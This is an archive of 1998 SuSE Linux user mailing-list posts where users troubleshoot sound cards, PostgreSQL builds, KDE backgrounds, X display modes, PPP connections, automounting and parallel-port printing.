> What's up with the ftp.suse.com site?  Or a few mirrors for that matter.
> I "cannot" grab any of the files from /pub/suse_update/KDE/* that
> are large, as in the qt dev 1.33, kdadmin, etc.  What happens is that
> I get a timeout after 2% transfer, end of story.  I have not had *any*
> other problems ftp'ing off other sites, even grabbed Staroffice 4.0
> without a hitch.  This is getting annoying, since I wanted to try the
> latest KDE and QT stuff.  Anyone know of a reliable mirror site?
>=20
> Dana
>=20
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                who attempts to solve a problem,
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From hettar@teleport.com Tue Jun 16 05:27:28 1998
From: hettar@teleport.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] AWE-64
Date: Mon, 15 Jun 1998 22:27:28 -0700
Message-ID: <35860240.5A37F4DD@teleport.com>
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W.D.McKinney wrote:

> Steven Udell  wrote:
> >
> > >
> >
> >   Well so much for that ;)
> > I fixed it...
> > Linux Native Sound for the SoundBlaster 64Gold
> > Everything works and it doesn't hang my system
> > like OSS/Linux did.
> >
> > I got au's mods midis mp3 waves and audio cds
> > working so far. Next is prob a plug in for netscape
> > and real audio and then doom/quake/ whatever.
>
> So what apps are you using for au's mods midis mp3 waves ?
>

Lets see, for mp3's useing amp-0.7.6Lets see, for au's useing hear
sounds (from suse5.2 disks)
Lets see, for midi's useing play midi-2.3-awe32.1.i386.rpm
Lets see, for wave's  waveplayer
Lets see, for mods (was just a test) XMplayer (QT libs)

amp was configured w/ "./configure --with-realtime"
this is a console based mp3 player..works great..
44khz 112k/s sample rate stereo

Steven Udell
hettar(a)teleport.com


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From satan@nfinity.com Tue Jun 16 05:50:11 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] AWE-64
Date: Tue, 16 Jun 1998 00:50:11 -0500
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I still like Playmidi for midi and Amp for mp3s.  Both are console. 
X11amp is nice for mp3s in X, and it supports winamp skins now too.

W.D.McKinney wrote:
> 
> Steven Udell  wrote:
> >
> > >
> >
> >   Well so much for that ;)
> > I fixed it...
> > Linux Native Sound for the SoundBlaster 64Gold
> > Everything works and it doesn't hang my system
> > like OSS/Linux did.
> >
> > I got au's mods midis mp3 waves and audio cds
> > working so far. Next is prob a plug in for netscape
> > and real audio and then doom/quake/ whatever.
> 
> So what apps are you using for au's mods midis mp3 waves ?
>

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From satan@nfinity.com Tue Jun 16 06:10:11 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] AWE-64
Date: Tue, 16 Jun 1998 01:10:11 -0500
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This is dependent on what rate the encoder of the mp3 chooses.  You can
go up to 256 k/s.  I usually use 128 k/s.  For those of you that can't
use cdda2wav to rip tracks because your cdrom isn't supported, check out
cdparanoia.  It works great on a lot of drives that cdda2wav bails on. 
If you are interested and can't find it on the web, mail me, I have a
url somewhere around here.

Steven Udell wrote:

> amp was configured w/ "./configure --with-realtime"
> this is a console based mp3 player..works great..
> 44khz 112k/s sample rate stereo
> 
> Steven Udell
> hettar(a)teleport.com

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From kiril@u.washington.edu Tue Jun 16 06:43:21 1998
From: kiril@u.washington.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Postgres 6.3.2
Date: Mon, 15 Jun 1998 23:43:21 -0700
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Hi,
        I tried the patch and reran the ./configure script, but still the
same problem.  The following is from the make.log from the make all.

gcc -o psql -L../../interfaces/libpq psql.o stringutils.o   -lpq -ldl -lm
-lbsd -lreadline -lhistory  -export-dynamic
/usr/lib/libreadline.a(display.o): In function `rl_redisplay':
display.o(.text+0x9bf): undefined reference to `tputs'
/usr/lib/libreadline.a(display.o): In function `update_line':
display.o(.text+0xf26): undefined reference to `tputs'
/usr/lib/libreadline.a(display.o): In function `_rl_move_cursor_relative':
display.o(.text+0x11e6): undefined reference to 
 
Rats!!! I was really hoping that this would work. Perhaps, I need to wait
till August for SuSE 5.3.  It does not seem reasonable to buy 5.2 when 5.3
will be out in little over a month.  Are there other options with postgres
6.3.2 and SuSE 5.1?

Thanks again for any help, Kerry

On 15 Jun 1998, Karl Eichwalder wrote:

> 
> Kerry Boguszewski-Odom  writes:
> 
> |   Okay, I'm going to try to load postgres 6.3.2 with SuSE 5.1 and I found
> |   the patch that was posted last week.  But how does one apply this patch?
> |   I am eager to use the new features of postgres 6.3.2.  Thanks for any
> |   help.
> 
> Save this mail as a file (e.g. postgresql.diff), change into the
> directory `postgresql-6.3.2':
> 
>     cd .../postgresql-6.3.2
> 
> and say:
> 
>     patch -p1 < .../postgresql.diff
> 
> then invoke `autoconf' to produce a new configure script.  Replace the
> dots (`...') with your path


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From kf@wa.net Tue Jun 16 07:12:33 1998
From: kf@wa.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] XSuSE Elsa GLoria & KDE 4
Date: Tue, 16 Jun 1998 00:12:33 -0700
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After many frustrating, unsuccessful attempts  trying to upgrade my KDE
Beta 3
to Beta 4 ( yes, qt libraries are 1.33 & I complied KDE from source)
the results were always the same; the KDE interface would boot, but
mouse clicks were ignored. 

As a last resort, I tried a demo copy of Accerated-X, and to my surprise
KDE beta 4 works just fine. So the problem would seem to be with the 
X11 server, XSuSE ELsa GLoria. Does anybody else on this list use 
the XSuSE ELSa GLoria server with KDE Beta 4 successfully?

Hopefully this problem will be addressed in future releases either KDE
or the SuSE X-server. For now I am happily using WindowMaker.

Kristian Farren kf(a)wa.net

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From ke@suse.de Tue Jun 16 07:34:04 1998
From: ke@suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Postgres 6.3.2
Date: Tue, 16 Jun 1998 09:34:04 +0200
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Kerry Boguszewski-Odom  writes:

|   gcc -o psql -L../../interfaces/libpq psql.o stringutils.o   -lpq -ldl -lm
|   -lbsd -lreadline -lhistory  -export-dynamic
|   /usr/lib/libreadline.a(display.o): In function `rl_redisplay':
|   display.o(.text+0x9bf): undefined reference to `tputs'
|   /usr/lib/libreadline.a(display.o): In function `update_line':
|   display.o(.text+0xf26): undefined reference to `tputs'
|   /usr/lib/libreadline.a(display.o): In function `_rl_move_cursor_relative':
|   display.o(.text+0x11e6): undefined reference to=20

Don't panic -- you forgot to run `autoconf' after patching; `-lncurses'
has to appear while you try to link.  Perhaps, I wasn't clear enough;
here we go again:

    cd .../postgresql-6.3.2/src
    autoconf
    ./configure --with-includes=3D/usr/include/termcap --with-libs=3D/usr/lib=
/termcap

But I guess, if linking against ncurses, termcap isn't actually needed.


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From weissel@jupiter.ph-cip.uni-koeln.de Tue Jun 16 09:37:58 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] video modes
Date: Tue, 16 Jun 1998 11:37:58 +0200
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Hi!

Trying to kill the keyboard, satan(a)nfinity.com produced:
> As long as we're on the subject,  anything over 800x600 and I get a
> horrid refresh rate.  Both my card (s3) and my monitor (ADI 5AP 17") are
> capable of doing better at up to 1280x1024. 

While setting up the X Window System, did you correctly specify the min
and max horizontal and vertical frequencies your monitor will accept?
If not, you stumbled over a safety feature in XFree86 --- it will not
let you use frequencies you did not allow as OK, so your monitor won't
be fried (worst case). 

Oh, you can also play with xvidtune to move/resize the screen ...

-Wolfgang


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From mr.zelig@linux.nu Tue Jun 16 09:49:51 1998
From: mr.zelig@linux.nu
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] asmixer
Date: Tue, 16 Jun 1998 11:49:51 +0200
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Hi All!

I tried to run asmixer but it was complaining about my /dev/mixer . At
first it couldn't read and after some work, I made link to mixer1, it
couldn't grab it.

I suppose I have to make a new kernel, but I would like to be sure before I
try that.

Have a splendid day!
Mikael
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From eck@ti.com Tue Jun 16 13:40:09 1998
From: eck@ti.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Anyone experience sound with xboing?
Date: Tue, 16 Jun 1998 08:40:09 -0500
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First off thanks for replying to my question on sound in xboing. I can
now stop worring about how to configure it, we'll just say it's broke.

As far as speed, there are command line options to control the speed
as well as grabing the mouse. These two options, as well as the -sound
option (which is broke) should be documented in "man xboing". I think
speed can also be set with the numbers 1,2,.. while playing the game.
I have to set the speed to the lowest to have any change of staying 
in the game.

On Mon, 15 Jun 1998, TEX wrote:
> 
> another question that has been bugging me.
> 
> Lawrence Sayre wrote:
> 
> > I also have no sound, but on a P200+ Cyrix the game goes so fast it is
> > unplayable.  Is there a way to slow it down?
> >
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From darkstar@charm.net Tue Jun 16 15:03:19 1998
From: darkstar@charm.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] SuSE 5.2 ANd PPP Performance
Date: Tue, 16 Jun 1998 11:03:19 -0400
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Installation worked like a charm. This is a good package from my first
impressions.

However, it seems that ppp performance is poor.

After recompiling the kernel used is 2.0.33.
Is there a known problem wth this? I've looked at the thread history
for this list and I haven't noticed this mentioned, but I thought I aw
this mentioned in the linux newsgroups.

Welcome to my virtual reality!
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From hattons@CPKWEBSER5.ncr.disa.mil Tue Jun 16 15:10:47 1998
From: hattons@CPKWEBSER5.ncr.disa.mil
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE Background problem
Date: Tue, 16 Jun 1998 11:10:47 -0400
Message-ID: <35868AF6.5964D02E@cpkwebser5.ncr.disa.mil>
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Well, it's back.  Has anybody else had a problem with their backgrounds in the
KDE?  The really strange thing is that the backgrounds work for the login scr=
eens.
This is a very strange thing indeed.

Steve

Steven T. Hatton wrote:

> Well I fixed it.  I downloaded qt 1.33, and installed it.  I'm not sure
> what was there before.  As soon as I did that and restarted KDM all was
> cool.
>
> Steven T. Hatton wrote:
>
> > All,
> >
> > I am having a problem  with my backgrounds in KDE 1.0b4.  I am not able
> > to get them to display.  The last significant change I made was setting
> > my mouse to an intellimouse.  This did not cause a problem immediately.
> > The problem came on suddenly, and without anything significant
> > immediately preceding it.  I have uninstalled then reinstalled the KDE
> > and all the X stuff.  I reinstalled all the qt stuff that I could find.
> > If I look in the .xsession-errors I see:
> >
> > Warning: Could not attach SHM.
> > QPixmap::convertFromImage: Cannot convert a null image
> > KBackground::KBackground
> > KScreenSaver::KScreenSaver
> > KGeneral::KGeneral
> > KFM seems to be crashed !!!!!!! Running new KFM !!!!!!!!!!!!!!
> > Adding waiting: 135281896, 0
> > Adding waiting: 135281568, 0
> > emit documentStarted( this );
> > Adding waiting: 135281568, 1
> > Parsing : file:/root/
> > emit documentStarted( this );
> > Adding waiting: 135281896, 1
> > Parsing : file:/root/
> > Parsing done
> > emit documentDone( this );
> > Removed waiting: 135281896, 0
> > Parsing done
> > emit documentDone( this );
> > Removed waiting: 135281568, 0
> > KGeneral::KGeneral
> > KBackground::KBackground
> > QPixmap::convertFromImage: Cannot convert a null image
> > QGManager: not enough space for 1-item horizontal chain with 0 branches
> > QGManager: not enough space for 1-item horizontal chain with 0 branches
> > KScreenSaver::KScreenSaver
> > KColorScheme::KColorScheme
> > QPixmap::convertFromImage: Cannot convert a null image
> > Got background reload event
> > QPixmap::convertFromImage: Cannot convert a null image
> > Parsing : file:/opt/kde/share/doc/HTML/default/kppp/kppp.html
> > Parsing done
> >
> > It looks to me that the problem is related to the line:
> > "QPixmap::convertFromImage: Cannot convert a null image"
> >
> > Any Ideas?
> >
> > TIA,
> >
> > Steve


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From fmiller@lightlink.com Tue Jun 16 15:29:17 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] asmixer
Date: Tue, 16 Jun 1998 11:29:17 -0400
Message-ID: <35868F4D.7066BDEB@lightlink.com>
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Mikael Asp wrote:
> 
> Hi All!
> 
> I tried to run asmixer but it was complaining about my /dev/mixer . At
> first it couldn't read and after some work, I made link to mixer1, it
> couldn't grab it.
> 
> I suppose I have to make a new kernel, but I would like to be sure before I
> try that.
> 
> Have a splendid day!

I would, IF I could get Linux to see my SP AWE-64 (ISA) card!

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From gecko@benham.net Tue Jun 16 15:54:44 1998
From: gecko@benham.net
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] tiles to the app bar ?
Date: Tue, 16 Jun 1998 08:54:44 -0700
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On 15-Jun-98 W.D.McKinney wrote:
> After looking at http://www.themes.org/totd/>, it would be nic=
e to add
> some the tiles available as the background to the app bar
> in the default desktop of SuSE 5.2. Someone know how to accomplish
> this and willing to share ? Much appreciated.

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From satan@nfinity.com Tue Jun 16 16:02:24 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.2 ANd PPP Performance
Date: Tue, 16 Jun 1998 11:02:24 -0500
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Well, if you can be more specific we can try to address your problem.=20
PPP is ppp, regardless of distribution, and poor performance can be
traced to operator error 9 1/2 out of 10 times.  It may be as simple as
you not having declared "115200" in /etc/ppp/options.  Post exactly what
your problem is, and we'll try to help.

DarkStar wrote:
>=20
> Installation worked like a charm. This is a good package from my first
> impressions.
>=20
> However, it seems that ppp performance is poor.
>=20
> After recompiling the kernel used is 2.0.33.
> Is there a known problem wth this? I've looked at the thread history
> for this list and I haven't noticed this mentioned, but I thought I aw
> this mentioned in the linux newsgroups.
>=20
> Welcome to my virtual reality!
> darkstar(a)charm.net       Edwin Brown
> http://www.charm.net/~darkstar>

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From satan@nfinity.com Tue Jun 16 16:11:56 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] KDE Background problem
Date: Tue, 16 Jun 1998 11:11:56 -0500
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Kde gfx are linked against older versions of libjpeg and libgif.=20
ldconfig -v > list, vi list, and you'll see that kde has it's own
objects in /opt/kde/lib for jpeg and gif.  I wish they wouldn't do that,
it's bad bad bad.  If you have gif and jpeg installed someplace else,
like /usr/X11R6/lib or /usr/lib, it can break applications that depend
on them.  Gnome gave me hell for awhile, and it was all due to the
libjpeg.so in /opt/kde/lib.  Unfortunately, I think the fix is to
install kde from source so that kde gets linked against the proper
libs.  If kde still creates it's own objects for jpeg and gif, I would
try moving them and ldconfig, then see if kde links against the correct
libs.  I don't think SuSE comes with giflib, I keep a copy on a zip
cartridge.  You can find it on sunsite in case you don't have
libgif.so.3 in any of your lib dirs.
Just for giggles, try "xv -root -max -quit filename.jpg" from an xterm
and see if that displays the proper background image. =20

Steven T. Hatton wrote:
>=20
> Well, it's back.  Has anybody else had a problem with their backgrounds in =
the
> KDE?  The really strange thing is that the backgrounds work for the login s=
creens.
> This is a very strange thing indeed.
>=20
> Steve
>=20
> Steven T. Hatton wrote:
>=20
> > Well I fixed it.  I downloaded qt 1.33, and installed it.  I'm not sure
> > what was there before.  As soon as I did that and restarted KDM all was
> > cool.
> >
> > Steven T. Hatton wrote:
> >
> > > All,
> > >
> > > I am having a problem  with my backgrounds in KDE 1.0b4.  I am not able
> > > to get them to display.  The last significant change I made was setting
> > > my mouse to an intellimouse.  This did not cause a problem immediately.
> > > The problem came on suddenly, and without anything significant
> > > immediately preceding it.  I have uninstalled then reinstalled the KDE
> > > and all the X stuff.  I reinstalled all the qt stuff that I could find.

>

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From darkstar@charm.net Tue Jun 16 18:27:41 1998
From: darkstar@charm.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.2 ANd PPP Performance
Date: Tue, 16 Jun 1998 14:27:41 -0400
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On Tue, 16 Jun 1998, Michael Lankton wrote:

> 
> Well, if you can be more specific we can try to address your problem. 
> PPP is ppp, regardless of distribution, and poor performance can be
> traced to operator error 9 1/2 out of 10 times.  It may be as simple as
> you not having declared "115200" in /etc/ppp/options.  Post exactly what
> your problem is, and we'll try to help.

Okay, in the /var/log/messages file, there is a n error message that
states tehhe modem does not support 28800 baud rate. I've noted that
telnet, ftp, and web browsing is taking a long time. I'm wondering if the
modem is at some slow speed like 9600.


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From drew@adapco.com Tue Jun 16 18:45:47 1998
From: drew@adapco.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] automount
Date: Tue, 16 Jun 1998 14:45:47 -0400
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I've recently bought suse and set it up on my laptop.  I was wondering if any=
one had
advice on where I could get a version of automount for linux.  NFS is working
but I don't want to have to mount every partition on every machine where I wo=
rk,
and then go home and have problems.

Thanks
Drew

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From arunkhan@xnet.com Tue Jun 16 18:49:33 1998
From: arunkhan@xnet.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] video modes
Date: Tue, 16 Jun 1998 13:49:33 -0500
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At 01:15 AM 98/06/14 -0500, you wrote:
>
>As long as we're on the subject,  anything over 800x600 and I get a
>horrid refresh rate.  Both my card (s3) and my monitor (ADI 5AP 17") are
>capable of doing better at up to 1280x1024.  I dual boot, and this is
>this case in both os'es, so it isn't an x issue.  I'm just curious, is
>my graphics card or my monitor more likely to be the culprit?  I get
>outstanding image quality at 800x600, but at 1024x768 I get the wavy
>effect from too low a refresh rate.  I would hate to buy one of the new
>matrox g200 cards about to be released if it turns out my monitor is the
>problem.  Thanks in advance.
>

Mike,

Low refresh rate will manifest in flicker.  The wavy effect is called moire
and unless your monitor has adjustments for it, you are out of luck.

I too, have  dual boot machine with a STB Velocity 128 AGP card and
Viewsonice P810 monitor.  Under Win95 the display is fine right upto
1600x1200 @76Hz.  Unfortunately, under X windows I have not had much luck.
There is visible moire and the moire control is only effective for minor
adjustments (too much correction results in out of focus text).  The
display is jerky (sideways) in all the popular modes 800x600 -> 1280x1204.
I am using the latest XF86_SVGA server and have configured it using SuSE's
xf86config.  Yes, I have read the README.RIVA128 and made all the
adjustments it mentions and verified no IRQ conflict. 

Let us know if you make any progress.

-- Arun Khan 

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From drew@adapco.com Tue Jun 16 19:15:55 1998
From: drew@adapco.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] video modes
Date: Tue, 16 Jun 1998 15:15:55 -0400
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> At 01:15 AM 98/06/14 -0500, you wrote:
> >
> >As long as we're on the subject,  anything over 800x600 and I get a
> >horrid refresh rate.  Both my card (s3) and my monitor (ADI 5AP 17") are
> >capable of doing better at up to 1280x1024.  I dual boot, and this is
> >this case in both os'es, so it isn't an x issue.  I'm just curious, is
> >my graphics card or my monitor more likely to be the culprit?  I get
> >outstanding image quality at 800x600, but at 1024x768 I get the wavy
> >effect from too low a refresh rate.  I would hate to buy one of the new
> >matrox g200 cards about to be released if it turns out my monitor is the
> >problem.  Thanks in advance.
> >
> 
> Mike,
> 
> Low refresh rate will manifest in flicker.  The wavy effect is called moire
> and unless your monitor has adjustments for it, you are out of luck.
> 
> I too, have  dual boot machine with a STB Velocity 128 AGP card and
> Viewsonice P810 monitor.  Under Win95 the display is fine right upto
> 1600x1200 @76Hz.  Unfortunately, under X windows I have not had much luck.
> There is visible moire and the moire control is only effective for minor
> adjustments (too much correction results in out of focus text).  The
> display is jerky (sideways) in all the popular modes 800x600 -> 1280x1204.
> I am using the latest XF86_SVGA server and have configured it using SuSE's
> xf86config.  Yes, I have read the README.RIVA128 and made all the
> adjustments it mentions and verified no IRQ conflict. 
> 
> Let us know if you make any progress.
> 
> -- Arun Khan 
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What about using xvidtune to fine tune your XF86Config stuff.  I used it on my
laptop it helps a little.

Drew

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From kimon@wtco.net Tue Jun 16 19:18:51 1998
From: kimon@wtco.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Printer Problems
Date: Tue, 16 Jun 1998 14:18:51 -0500
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Hello,

I have a Postcript Laserprinter (NEC Silentwriter 2Model 90 to be exact) and I
am having some difficulties. I have Printer Parrallel support built as a modu=
le,
and it loads fine. But the SuSE manual says it should be for most (since I do
not have a Hercules card) on lp1. For me, using Yast to configure, I cannot
even, reach the printer on lp1.

Now on lp0 I try to print something and this is what happens. There is
communication with the printer, and after about 10 seconds of processing
it reverts back to the ready state. Running dmesg I get lp0 at 0x03bc, (polli=
ng)

I used to run 0S/2 and I experienced these exact same symptoms. IBM tech supp=
ort
worked with me and we figured out that if I disable polling and use IRQ then
everything is fine. Could this go for linux as well? I am assuming from dmesg
that I am using polling here as well. Does anybody know how to change this?

One other knote that baffels me. The manual says lp0 is on IRQ5 which is what=
 I
have my Sound Card configured to. Now that would explain why it is not working
completely, but it would not explain why I cannot even see the printer on lp1
IRQ7 which is vacant. Any ideas would be much aappreciated.

Thanks,
Kimon Tsinteris

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From satan@nfinity.com Tue Jun 16 19:25:35 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.2 ANd PPP Performance
Date: Tue, 16 Jun 1998 14:25:35 -0500
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Like I said, check what speed it's set at in /etc/ppp/options.  If it
isn't set at 115200, make it so.  

DarkStar wrote:
> 
> On Tue, 16 Jun 1998, Michael Lankton wrote:
> 
> >
> > Well, if you can be more specific we can try to address your problem.
> > PPP is ppp, regardless of distribution, and poor performance can be
> > traced to operator error 9 1/2 out of 10 times.  It may be as simple as
> > you not having declared "115200" in /etc/ppp/options.  Post exactly what
> > your problem is, and we'll try to help.
> 
> Okay, in the /var/log/messages file, there is a n error message that
> states tehhe modem does not support 28800 baud rate. I've noted that
> telnet, ftp, and web browsing is taking a long time. I'm wondering if the
> modem is at some slow speed like 9600.

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From eck@ti.com Tue Jun 16 19:34:38 1998
From: eck@ti.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Booting Multiple kernels with modules
Date: Tue, 16 Jun 1998 14:34:38 -0500
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Somehow over the weekend I was able to get a module sound driver to work
with the stock kernel provided with SuSE 5.2. What I would like to do
now is recomplile the kernel with modules but excluding request of alot
module devices I know I will never use. In thinking over this I've come
up with several concerns:

1) The original SuSE 5.2 kernel must have been configured with some
.configure file in /usr/src/linux. I cannot seem to locate it. Does
anyone know where it is located. I'd like to see what it looks like
and use it as a basis of making my own kernel.

2) I want to keep the ability to load the present kernel which uses a
certian set of modules, located in /lib/modules(?). How can I identify
a new kernel with different module requirements in /lib/...? How do you
tell the system to boot with kernelA using modulesA and boot with kernelB
using modulesB. Is this possible? 

3) I know that /etc/conf.modules contains arguments for the various
modules. Can a single /etc/conf.modules be used with two kernels each
requiring a different set of modules?

Thanks,
Terry

_____________________________________________________________________________
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From jmbrooks@nr.infi.net Tue Jun 16 19:38:19 1998
From: jmbrooks@nr.infi.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] AWE-64
Date: Tue, 16 Jun 1998 15:38:19 -0400
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So which "howtos" did you dig into?

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From andreino@forfree.at Tue Jun 16 19:45:57 1998
From: andreino@forfree.at
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] locale settings with SuSE 5.2
Date: Tue, 16 Jun 1998 21:45:57 +0200
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Hi, I have a little problem with a program that give me this error:
libc: setlocale: LC_CTYPE: no LANG= in /etc/default/lang

even if I have in .profile the export LANG=it_IT and
                               export LC_CTYPE=it_IT

thanks
bye Andrea

           


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From Jochen_Hayek@ACM.org Tue Jun 16 20:02:03 1998
From: Jochen_Hayek@ACM.org
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] automount
Date: Tue, 16 Jun 1998 21:02:03 +0100
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>>>>> "D" =3D=3D drew   writes:

    D> I've recently bought suse and set it up on my laptop.

    D> I was wondering if anyone had advice on where I could get a
    D> version of automount for linux.

    D> NFS is working but I don't want to have to mount every
    D> partition on every machine where I work, and then go home and
    D> have problems.

Just to recap:

    there is the Solaris (proprietary) automount

    there is the amd (also known as the BSD automounter)
        (there is a mailing list for amd)

    there is Linux autofs.

Of course, they all use configuration files of different formats ...

----------

That's what I use on my laptop
(I didn't upgrade, because that package doesn't come with SuSE `light'):

    johayek(a)Hayek5 $ rpm --query -i amd
    Name        : amd                         Distribution: S.u.S.E Linux
    Version     : upl102                            Vendor: S.u.S.E. GmbH
    Release     : 1                             Build Date: Tue Jun 17 18:56:=
04 1997
    Install date: Sun Oct 26 01:19:29 1997      Build Host: Hilbert.suse.de
    Group       :                               Source RPM: amd-upl102-1.src.=
rpm
    Size        : 784875
    Packager    : feedback(a)suse.de
    Summary     : Automounter
    Description :
    An automounter for automatically mounting and unmounting file
    systems.
    johayek(a)Hayek5 $=20

And this is, where you can get it from
(that's actually on a mirror of the SuSE `non-light' version):

    ftp://ftp.gwdg.de/linux/s=
use/5.2/suse/n1/amd.rpm>

I personally regard the `competitor package' `autofs' as far from being matur=
e;

the last time I looked at it,
it didn't even support the `/net/...' thing.

You must be aware, you're going through a steep learning curve,
if you try to set up amd, be aware of that!

For a quick setup you can always try my configuration files,
in case you're getting in trouble.
BTW I'm using amd *without* NIS,
because the environments I'm working in don't use/support amd,
so there's no point setting up NIS tables just to let amd use them.

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From darkstar@charm.net Tue Jun 16 20:18:53 1998
From: darkstar@charm.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] SuSE 5.2 ANd PPP Performance
Date: Tue, 16 Jun 1998 16:18:53 -0400
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On Tue, 16 Jun 1998, Michael Lankton wrote:

> 
> Like I said, check what speed it's set at in /etc/ppp/options.  If it
> isn't set at 115200, make it so.  

Ok, I'll try it.

Second question:

I created another .cf file for another internet provider. I did it by
copying the generic.cf file.

I went inot YAST. I configured another PPP device, set defaultroute to
true, and insert the rest of the ip data. It dialed and connected, but iI
get  network down errors. Here is the /var/log/messages portoin. Note that
it said it can't replace the defauteroute.

TIA

**** BEGIN LOG DUMP ****

Jun 16 15:57:15 darkstar pppd[13734]: pppd 2.2.0 started by root, uid 0
Jun 16 15:57:15 darkstar pppd[13734]: speed 28800 not supported
Jun 16 15:57:41 darkstar pppd[13734]: Serial connection established.
Jun 16 15:57:42 darkstar pppd[13734]: speed 28800 not supported
Jun 16 15:57:42 darkstar pppd[13734]: Using interface ppp0
Jun 16 15:57:42 darkstar pppd[13734]: Connect: ppp0 <--> /dev/modem
Jun 16 15:57:42 darkstar pppd[13734]: sent [LCP ConfReq id=0x1 
  ]
Jun 16 15:57:42 darkstar pppd[13734]: rcvd [LCP ConfReq id=0x1 
   ]
Jun 16 15:57:42 darkstar pppd[13734]: sent [LCP ConfAck id=0x1 
   ]
Jun 16 15:57:42 darkstar pppd[13734]: rcvd [LCP ConfAck id=0x1 
  ]
Jun 16 15:57:42 darkstar pppd[13734]: sent [PAP AuthReq id=0x1 user="****"
password="****"]
Jun 16 15:57:43 darkstar pppd[13734]: rcvd [PAP AuthAck
id=0x1msg="Welcome"]
Jun 16 15:57:43 darkstar pppd[13734]: Remote message: Welcome
Jun 16 15:57:43 darkstar pppd[13734]: sent [IPCP ConfReq id=0x1  ]
Jun 16 15:57:43 darkstar pppd[13734]: sent [IPXCP ConfReq id=0x1    ]
Jun 16 15:57:43 darkstar pppd[13734]: rcvd [IPCP ConfReq id=0x1  ]
Jun 16 15:57:43 darkstar pppd[13734]: sent [IPCP ConfAck id=0x1  ]

Jun 16 15:57:43 darkstar pppd[13734]: rcvd [IPXCP ConfReq id=0x1   < 03 06 00 02 0f 00> 
 ]

Jun 16 15:57:43 darkstar pppd[13734]: sent [IPXCP ConfRej id=0x1 < 03 06
00 02 0f 00>]
Jun 16 15:57:43 darkstar pppd[13734]: rcvd [IPCP ConfNak id=0x1 ]
Jun 16 15:57:43 darkstar pppd[13734]: sent [IPCP ConfReq id=0x2  ]
Jun 16 15:57:43 darkstar pppd[13734]: rcvd [IPXCP ConfNak id=0x1  ]
Jun 16 15:57:43 darkstar pppd[13734]: sent [IPXCP ConfReq id=0x2    ]
Jun 16 15:57:43 darkstar pppd[13734]: rcvd [IPXCP ConfReq id=0x2    
]
Jun 16 15:57:43 darkstar pppd[13734]: sent [IPXCP ConfAck id=0x2    
]
Jun 16 15:57:43 darkstar pppd[13734]: rcvd [IPCP ConfAck id=0x2  ]
Jun 16 15:57:43 darkstar pppd[13734]: local  IP address 208.194.198.87
Jun 16 15:57:43 darkstar pppd[13734]: remote IP address 208.194.198.3
Jun 16 15:57:43 darkstar pppd[13734]: ppp not replacing existing default
route to dummy0[0.0.0.0]
Jun 16 15:57:43 darkstar pppd[13734]: rcvd [IPXCP ConfAck id=0x2    ]


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From brauki@cityweb.de Tue Jun 16 20:47:47 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Printer Problems
Date: Tue, 16 Jun 1998 22:47:47 +0200
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kimon(a)wtco.net wrote:
>=20
> Hello,
>=20
> I have a Postcript Laserprinter (NEC Silentwriter 2Model 90 to be exact) an=
d I
> am having some difficulties. I have Printer Parrallel support built as a mo=
dule,
> and it loads fine. But the SuSE manual says it should be for most (since I =
do
> not have a Hercules card) on lp1. For me, using Yast to configure, I cannot
> even, reach the printer on lp1.
>=20
> Now on lp0 I try to print something and this is what happens. There is
> communication with the printer, and after about 10 seconds of processing
> it reverts back to the ready state. Running dmesg I get lp0 at 0x03bc, (pol=
ling)
>=20
Then you know there is data moving. I had an old apple laserwrite,
postscript only, and all this on a serial port. not much fun.

can you set this printer to print any cleartext emulation? a cat file >
/dev/lp1 would show you something: either garbage or readealbe text,
possibly with staircase effect.
next could be setting the printer to unix mode (LF only instead of CR
LF) to enable text printing. If this runs well try to 'cat ps-file >
/dev/lp1' (you can do this now as well, but if the printer is silent it
can be both a communication problem or "bad" postscript code.

> I used to run 0S/2 and I experienced these exact same symptoms. IBM tech su=
pport
> worked with me and we figured out that if I disable polling and use IRQ then
> everything is fine. Could this go for linux as well? I am assuming from dme=
sg
> that I am using polling here as well. Does anybody know how to change this?

polling is standard. I know it can be changed, but not how. ;-(
but wait: there is an articke in the german SDB, search for "polling",
first hit.
the tool you need is called tunelp, it configures the *aktuel used*
module, if the module is unloaded and reloaded it is back to polling
mode. (that's the article about) very short: compile printing into the
kernel and use kernel parameters.

http://=
localhost/support-db/sdb/avaron_lpd_irq_polling.html>

I'm to tired now to translate. A rough guess can be taken from it,
though.
>=20
> One other knote that baffels me. The manual says lp0 is on IRQ5 which is wh=
at I
> have my Sound Card configured to. Now that would explain why it is not work=
ing
> completely, but it would not explain why I cannot even see the printer on l=
p1
> IRQ7 which is vacant. Any ideas would be much aappreciated.
>=20

no idea ;-(


